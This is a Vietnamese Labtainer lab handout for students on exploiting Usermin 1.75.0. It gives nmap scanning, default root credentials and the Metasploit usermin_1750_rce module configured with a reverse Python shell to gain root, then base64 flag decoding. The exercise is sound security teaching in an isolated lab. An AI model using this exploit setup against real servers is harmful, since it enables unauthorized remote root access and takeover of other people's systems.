****Tìm hiểu và khai thác công cụ Usermin****

1. ****Mục đích****

Hiểu cách thức hoạt động của Usermin và vai trò của nó trong việc quản lý hệ thống từ xa. Tìm hiểu và khai thác các lỗ hổng bảo mật phổ biến trong Usermin.

1. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux, công cụ Usermin, công cụ Metasploit.

1. **Nội dung thực hành**

Khởi động bài lab:

Vào terminal, gõ:

*labtainer -r pen\_tool\_usermin*

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: **attack**, một cái là đại diện cho máy nạn nhân: **server**. Máy **attack** sẽ sử dụng nmap để scan cổng và dịch vụ máy **server**:

*sudo nmap -sV <Ip server>*

Trên máy **server** để sử dụng và hiểu về Ứng dụng quản lý hệ thống Usermin và một số chức năng như quản lý email, thay đổi mật khẩu, chỉnh sửa file cá nhân, … sinh viên sử dụng câu lệnh:

*firefox https://<Ip server>:20000/*

Với username là root và password là root.

Sinh viên vào Metasploit, sử dụng module:

*exploit/unix/http/usermin\_1750\_rce*

Sinh viên xem, cấu hình module và thực hiện khai thác lỗ hổng:

*options*

*set PAYLOAD cmd/unix/reverse\_python*

*set USERNAME <username>*

*set PASSWORD <password>*

*set RHOSTS <IP server>*

*set LHOST <IP attack>*

*Set RPORT 20000*

*run*

Cài đặt các thông số và khai thác thành công lỗ hổng Webmin Upload Authenticated RCE của Usermin phiên bản 1.75.0, chiếm được quyền root.

Sinh viên đọc file cờ ở đường dẫn home/ubuntu. File *create\_flag.py* ở trên máy server sẽ tạo ra file cờ bị mã hóa bởi mã hõa base64 và lưu tại một thư mục nào đó. Sinh viên tìm và lưu lại file chuỗi code đã mã hóa để thực hiện giải mã để ra flag.

Trên Metasploit, sử dụng module:

*auxiliary/analyze/base64\_decoder*

Xem và cấu hình module khai thác để có thể chuyển đổi đoạn code đã được mã hoá trong file cờ để ra được thông điệp của cờ.

*Lưu ý: Có hai flag cần giải mã*

**Kiểm tra kết quả:**

Sinh viên thực hiện kiểm tra tiến độ hoặc kết quả bài thực hành sử dụng lệnh:

*checkwork*

**Kết thúc bài lab:**

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

*Stoplab <ten\_bai\_lab>*

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

**Khởi động lại bài lab:**

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

*labtainer –r pen\_tool\_usermin*